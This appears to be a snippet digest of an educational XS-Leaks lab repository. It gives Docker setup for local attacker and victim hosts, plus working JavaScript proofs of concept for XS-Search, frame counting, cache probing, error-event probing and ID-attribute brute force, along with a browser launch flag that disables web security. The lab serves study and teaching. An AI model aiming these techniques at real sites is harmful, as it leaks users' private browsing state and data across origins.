### Start Docker Containers for XSLL Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/README.md Execute this script to set up and start the NGINX Docker containers for the attacker and victim environments. ```Bash ./setup.sh ``` -------------------------------- ### Setup and Teardown Docker Containers for XSLL Source: https://context7.com/t-sorger/xs-leaks-lab/llms.txt Configure hosts file and start/stop NGINX Docker containers for the attacker and victim environments. Requires root/admin privileges for hosts file modification. ```bash sudo sh -c 'echo "127.0.0.1 attacker.local" >> /etc/hosts' sudo sh -c 'echo "127.0.0.1 victim.local" >> /etc/hosts' ./setup.sh # This runs: # docker run -it --rm -d -p 31415:80 --name xsll-attacker -v $(pwd)/attacker:/usr/share/nginx/html nginx # docker run -it --rm -d -p 27182:80 --name xsll-victim -v $(pwd)/victim:/usr/share/nginx/html nginx # Access points after setup: # Attacker: http://attacker.local:31415/ # Victim: http://victim.local:27182/ # Stop the containers when done ./destroy.sh # This runs: docker stop xsll-attacker xsll-victim ``` -------------------------------- ### Initiate XS Search Attack Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/attacker/xs-leaks/xs-search.html This function clears previous results and starts the XS-Search attack by calling appendCharAndCheck. It updates the DOM with the found words. ```javascript async function attack() { console.log('Attacking...'); words.length = 0; // Clear the words array before starting await appendCharAndCheck(); document.getElementById('output').textContent = `Found words: ${words.join(', ')}`; } ``` -------------------------------- ### Configure Hosts File for XSLL Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/README.md Modify your system's hosts file to map domain names to localhost for the attacker and victim containers. Alternatively, adjust scripts to use '127.0.0.1'. ```Bash 127.0.0.1 attacker.local 127.0.0.1 victim.local ``` -------------------------------- ### Disable Web Security for Testing Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/attacker/xs-leaks/error-events.html Command to launch Brave Browser with web security disabled for testing XS-Leaks on MacOS. ```bash open -n -a /Applications/Brave\ Browser.app/Contents/MacOS/Brave\ Browser --args --user-data-dir="/tmp/brave_dev_sess_1" --disable-web-security ``` -------------------------------- ### Initiate Cache Probing Attack Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/attacker/xs-leaks/cache-probing.html This event listener is attached to an 'open-button'. When clicked, it opens a specified URL in a new tab, waits for a second, and logs that the resource has been opened and potentially cached. It then updates a message element. This is part of the cache probing attack flow. ```javascript document.getElementById('open-button').addEventListener('click', async () => { const url = 'http://victim.local:27182/xs-leaks/cache-probing.html'; window.open(url, '_blank'); await new Promise(resolve => setTimeout(resolve, 1000)); console.log("Resource opened and cached"); document.getElementById('message').textContent = "Resource opened and cached"; }); ``` -------------------------------- ### Perform Search and Render Results Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/victim/xs-leaks/xs-search.html Handles the search logic by iterating through hardcoded data and dynamically creating iframes for matching results. Measures execution time using the performance API. ```javascript // Hard coded image names for simplicity const data = ['pwd', 'sec']; async function performSearch(query) { // Get the start time const startTime = performance.now(); const resultsDiv = document.getElementById('results'); // Clear the existing pictures resultsDiv.innerHTML = ''; let resultsFound = false; for (let i = 0; i < data.length; i++) { const str = data[i]; // Rest of the code inside the loop if (str == query || str.startsWith(query)) { if (!resultsFound) { resultsFound = true; resultsDiv.innerHTML = `
Results found for "${query}"!
`; } // Create a new iframe element let iframe = document.createElement('iframe'); // Set attributes for the iframe iframe.src = `../images/${str}.jpg`; iframe.frameBorder = 0; // Append the iframe to the resultsDiv resultsDiv.appendChild(iframe); } } // Get the end time const endTime = performance.now(); const executionTime = endTime - startTime; // Calculate the execution time document.getElementById('time').textContent = `Execution time: ${executionTime} milliseconds`; console.log(`Execution time: ${executionTime} milliseconds`); } document.getElementById('search-form').addEventListener('submit', function (event) { event.preventDefault(); const query = document.getElementById('search-query').value; performSearch(query); }); document.addEventListener("DOMContentLoaded", function () { // Function to get URL parameters function getQueryParameter(name) { const urlParams = new URLSearchParams(window.location.search); return urlParams.get(name); } // Get the search parameter from the URL const query = getQueryParameter('q'); // If there is a query parameter, set it as the value of the search box and perform the search if (query) { document.getElementById('search-query').value = query; performSearch(query); } }); ``` -------------------------------- ### Implement Error Event Probe Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/attacker/xs-leaks/error-events.html Uses a script element to detect resource existence via onload and onerror events. Requires CORS to be disabled on the browser for cross-origin testing. ```javascript function probeError(url) { let script = document.createElement('script'); script.src = url; script.onload = () => { console.log('Onload event triggered'); alert(`Onload event triggered for URL:\n${url}`); } script.onerror = () => { console.log('Error event triggered'); alert(`Error event triggered for URL:\n${url}`); } document.body.appendChild(script); } ``` -------------------------------- ### Frame Counting for XS Search Attack Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/attacker/xs-leaks/xs-search.html Simulates frame count checking by opening a new window to the victim's search page and measuring the load time. It returns the number of iframes loaded. ```javascript async function frameCounting(query) { return new Promise(resolve => { // Simulate the frame count check by opening a new window var win = window.open(`http://victim.local:27182/xs-leaks/xs-search.html?q=${query}`); let iframesCount = 0; // Wait for the page to load setTimeout(() => { // Read the number of iframes loaded iframesCount = win.length; win.close(); resolve(iframesCount); }, 10); }); } ``` -------------------------------- ### Stop Docker Containers for XSLL Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/README.md Run this script to gracefully stop and remove the running Docker containers used by the XS-Leaks Lab. ```Bash ./destroy.sh ``` -------------------------------- ### Execute Frame Counting Attack Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/attacker/xs-leaks/frame-counting.html Opens a target URL in a new window and measures the number of iframes after a delay. Requires the target page to be accessible and the attacker to have window reference permissions. ```javascript async function startAttack() { // Get a reference to the window var win = window.open('http://victim.local:27182/xs-leaks/frame-counting.html', '_blank'); // Wait for the page to load setTimeout(() => { // Read the number of iframes loaded test = `${win.length} iframes detected`; document.getElementById('numberOfFrames').textContent = test; console.log("%d iframes detected", win.length); }, 2000); } ``` -------------------------------- ### Victim-side Frame Counting Page Logic Source: https://context7.com/t-sorger/xs-leaks-lab/llms.txt This JavaScript code on the victim's page renders a variable number of iframes based on user selection ('male', 'female', 'prefer not to say'). It stores the user's selection in localStorage. The number of iframes is determined by the 'gender' input value. ```javascript function displayIframes() { const gender = document.querySelector('input[name="gender"]:checked').value; const iframeContainer = document.getElementById('iframeContainer'); // Save selection to localStorage (persists across sessions) localStorage.setItem('selectedGender', gender); iframeContainer.innerHTML = ''; let iframeCount = 0; if (gender === 'male') iframeCount = 1; else if (gender === 'female') iframeCount = 2; for (let i = 0; i < iframeCount; i++) { const iframe = document.createElement('iframe'); iframe.src = `http://victim.local:27182/#${i + 1}`; iframeContainer.appendChild(iframe); } } ``` -------------------------------- ### XS Search Attack: Recursive Query Discovery Source: https://context7.com/t-sorger/xs-leaks-lab/llms.txt Attacker-side JavaScript to recursively discover search queries on a victim site by observing iframe counts. Requires a victim site with search functionality and iframe rendering for results. ```javascript // Attacker-side: Recursively discover search queries on victim site const words = []; async function frameCounting(query) { return new Promise(resolve => { // Open victim search page with guessed query parameter var win = window.open(`http://victim.local:27182/xs-leaks/xs-search.html?q=${query}`); let iframesCount = 0; setTimeout(() => { // If search matches, iframes are rendered for results iframesCount = win.length; win.close(); resolve(iframesCount); }, 10); }); } async function appendCharAndCheck(query = '') { const alphabet = 'abcdefghijklmnopqrstuvwxyz'; let hit = false; for (let i = 0; i < alphabet.length; i++) { const current_query = query + alphabet[i]; console.log(current_query); // If frames detected, the query prefix matches something if (await frameCounting(current_query) > 0) { hit = true; await appendCharAndCheck(current_query); // Recurse deeper } } // If no further hits and exactly 1 frame, we found a complete word if (!hit && query.length > 0 && await frameCounting(query) === 1) { if (!words.includes(query)) { words.push(query); } } } async function attack() { console.log('Attacking...'); words.length = 0; await appendCharAndCheck(); document.getElementById('output').textContent = `Found words: ${words.join(', ')}`; // Expected output: "Found words: pwd, sec" (the searchable images on victim) } ``` -------------------------------- ### Load Saved Gender Selection on Window Load Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/victim/xs-leaks/frame-counting.html This function retrieves the previously saved gender selection from localStorage and applies it to the page. It then calls displayIframes to update the displayed content accordingly. This ensures user preferences are maintained across sessions. ```javascript function loadSelection() { const savedGender = localStorage.getItem('selectedGender'); if (savedGender) { document.querySelector(`input[name="gender"][value="${savedGender}"]`).checked = true; displayIframes(); // Update iframes based on saved selection } } // Load saved selection on window load window.onload = loadSelection; ``` -------------------------------- ### Detect Cache Status via Fetch Timing Source: https://context7.com/t-sorger/xs-leaks-lab/llms.txt Uses a short timeout threshold to distinguish between cached and uncached resources based on response time. Requires a target URL and DOM elements for status reporting. ```javascript // Attacker-side: Detect if victim resource is in browser cache async function ifCached(url) { var controller = new AbortController(); var signal = controller.signal; // Set very short timeout - cached resources respond faster var timeout = setTimeout(() => { controller.abort(); }, 9); // 9ms threshold try { let options = { mode: "no-cors", credentials: "include", signal: signal }; await fetch(url, options); } catch (err) { console.log("The resource is not cached"); document.getElementById('message').textContent = "The resource is not cached"; return false; } clearTimeout(timeout); console.log("The resource is cached"); document.getElementById('message').textContent = "The resource is cached"; return true; } // Check if victim page is cached document.getElementById('check-button').addEventListener('click', async () => { const url = 'http://victim.local:27182/xs-leaks/cache-probing.html'; await ifCached(url); }); // Load resource to populate cache document.getElementById('open-button').addEventListener('click', async () => { const url = 'http://victim.local:27182/xs-leaks/cache-probing.html'; window.open(url, '_blank'); await new Promise(resolve => setTimeout(resolve, 1000)); console.log("Resource opened and cached"); }); // Workflow: // 1. Click "Check Resource Cache" -> "not cached" // 2. Click "Load Resource to Cache" -> opens victim page // 3. Click "Check Resource Cache" -> "cached" (if within timeout threshold) ``` -------------------------------- ### ID Attribute Attack Implementation Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/attacker/xs-leaks/id-attribute.html This script iterates through potential IDs by loading iframes and detecting focus shifts via the onblur event. Ensure the user does not interact with the page during execution to maintain focus integrity. ```javascript onblur = () => { if (stopLoop) return; // If attack is not running, return alert(`Element ID "${currentId}" found!`); stopLoop = true; } let stopLoop = true; let currentId; function removeIframesAndText() { document.getElementById('currentid').textContent = '0'; const iframes = document.querySelectorAll('iframe'); iframes.forEach(ifr => ifr.remove()); } async function startAttack() { removeIframesAndText(); // Remove all existing iframes stopLoop = false; for (let id = 0; id <= 200; id++) { if (stopLoop) break; // Stop the loop if flag is set currentId = id; // Update currentId with the loop value document.getElementById('currentid').textContent = currentId; // Display the current id let ifr = document.createElement('iframe'); // Update the iframe src with the current id ifr.src = `http://victim.local:27182/xs-leaks/id-attribute.html#${id}`; document.body.appendChild(ifr); // Wait for a brief period to allow for focus shift await new Promise(resolve => setTimeout(resolve, 100)); // If loop has not stopped, remove the iframe if (!stopLoop) { document.body.removeChild(ifr); } } } ``` -------------------------------- ### Error Events Attack: Probe Resource Existence Source: https://context7.com/t-sorger/xs-leaks-lab/llms.txt Attacker-side JavaScript to detect cross-origin resource existence by observing script load `onload` and `onerror` events. Requires CORS to be disabled or the browser launched with `--disable-web-security`. ```javascript // Attacker-side: Probe for resource existence via script error events // NOTE: Requires CORS to be disabled for full demonstration // Launch browser with: --disable-web-security flag function probeError(url) { let script = document.createElement('script'); script.src = url; script.onload = () => { console.log('Onload event triggered'); // Resource exists (though may not be valid JavaScript) alert(`Onload event triggered for URL:\n${url}`); } script.onerror = () => { console.log('Error event triggered'); // Resource doesn't exist or returned error status alert(`Error event triggered for URL:\n${url}`); } document.body.appendChild(script); } // Test existing resource probeError('http://victim.local:27182/xs-leaks/error-events.html'); // Expected: Onload event (page exists) // Test non-existing resource probeError('http://victim.local:27182/xs-leaks/404'); // Expected: Error event (page doesn't exist) ``` -------------------------------- ### Check if Resource is Cached Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/attacker/xs-leaks/cache-probing.html This function checks if a given URL's resource is present in the browser cache using `fetch` with a timeout. It logs whether the resource is cached or not and updates a message element. Ensure the `fetch` API is available in your environment. ```javascript async function ifCached(url) { var controller = new AbortController(); var signal = controller.signal; var timeout = setTimeout(() => { controller.abort(); }, 9); try { let options = { mode: "no-cors", credentials: "include", signal: signal }; await fetch(url, options); } catch (err) { console.log("The resource is not cached"); document.getElementById('message').textContent = "The resource is not cached"; return false; } clearTimeout(timeout); console.log("The resource is cached"); document.getElementById('message').textContent = "The resource is cached"; return true; } ``` -------------------------------- ### Append Character and Check for XS Search Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/attacker/xs-leaks/xs-search.html Recursively appends characters from the alphabet to a query and checks for a positive frame count, indicating a potential match. It adds valid words to the global 'words' array. ```javascript async function appendCharAndCheck(query = '') { const alphabet = 'abcdefghijklmnopqrstuvwxyz'; let hit = false; for (let i = 0; i < alphabet.length; i++) { const current_query = query + alphabet[i]; console.log(current_query); if (await frameCounting(current_query) > 0) { hit = true; await appendCharAndCheck(current_query); } } if (!hit && query.length > 0 && await frameCounting(query) === 1) { if (!words.includes(query)) { words.push(query); } } } ``` -------------------------------- ### Trigger Cache Check Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/attacker/xs-leaks/cache-probing.html This event listener is attached to a 'check-button'. When clicked, it calls the `ifCached` function with a specific URL to determine if the resource is currently in the cache. This action is a step in the cache probing attack. ```javascript document.getElementById('check-button').addEventListener('click', async () => { const url = 'http://victim.local:27182/xs-leaks/cache-probing.html'; await ifCached(url); }); ``` -------------------------------- ### Attacker-side Frame Counting Exploit Source: https://context7.com/t-sorger/xs-leaks-lab/llms.txt This JavaScript code opens the victim page in a new window and uses `window.length` to detect the number of iframes rendered on the victim's page. It relies on the victim page being accessible via `http://victim.local:27182/`. ```javascript async function startAttack() { // Open the victim page in a new window var win = window.open('http://victim.local:27182/xs-leaks/frame-counting.html', '_blank'); // Wait for the page to load setTimeout(() => { // Read the number of iframes loaded (accessible cross-origin!) test = `${win.length} iframes detected`; document.getElementById('numberOfFrames').textContent = test; console.log("%d iframes detected", win.length); }, 2000); } ``` -------------------------------- ### Display Iframes Based on Gender Selection Source: https://github.com/t-sorger/xs-leaks-lab/blob/master/src/victim/xs-leaks/frame-counting.html This JavaScript function determines the number of iframes to display based on the selected gender. It saves the selection to localStorage and clears previous iframes before creating new ones. Ensure the HTML has an element with id 'iframeContainer' and radio inputs for gender. ```javascript function displayIframes() { const gender = document.querySelector('input[name="gender"]:checked').value; const iframeContainer = document.getElementById('iframeContainer'); // Save the selected gender to localStorage localStorage.setItem('selectedGender', gender); // Clear any existing iframes iframeContainer.innerHTML = ''; let iframeCount = 0; if (gender === 'male') { iframeCount = 1; } else if (gender === 'female') { iframeCount = 2; } // Create and append iframes based on the selected gender for (let i = 0; i < iframeCount; i++) { const iframe = document.createElement('iframe'); iframe.src = `http://victim.local:27182/#${i + 1}`; iframe.width = '300'; iframe.height = '200'; iframeContainer.appendChild(iframe); } } ``` -------------------------------- ### ID Attribute Attack: Brute-force Element IDs Source: https://context7.com/t-sorger/xs-leaks-lab/llms.txt Attacker-side JavaScript to brute-force element IDs on a victim page by exploiting browser focus behavior on URL fragments. Detects element IDs via `blur` events. ```javascript // Attacker-side: Brute-force element IDs on victim page onblur = () => { if (stopLoop) return; // Focus was stolen - the current fragment matched an element ID alert(`Element ID "${currentId}" found!`); stopLoop = true; } let stopLoop = true; let currentId; function removeIframesAndText() { document.getElementById('currentid').textContent = '0'; const iframes = document.querySelectorAll('iframe'); iframes.forEach(ifr => ifr.remove()); } async function startAttack() { removeIframesAndText(); stopLoop = false; // Brute-force numeric IDs from 0 to 200 for (let id = 0; id <= 200; id++) { if (stopLoop) break; currentId = id; document.getElementById('currentid').textContent = currentId; let ifr = document.createElement('iframe'); // Load victim page with fragment pointing to potential element ID ifr.src = `http://victim.local:27182/xs-leaks/id-attribute.html#${id}`; document.body.appendChild(ifr); // Wait for focus shift detection await new Promise(resolve => setTimeout(resolve, 100)); if (!stopLoop) { document.body.removeChild(ifr); } } // Expected result: Finds element ID "123" on the victim page } ``` === COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.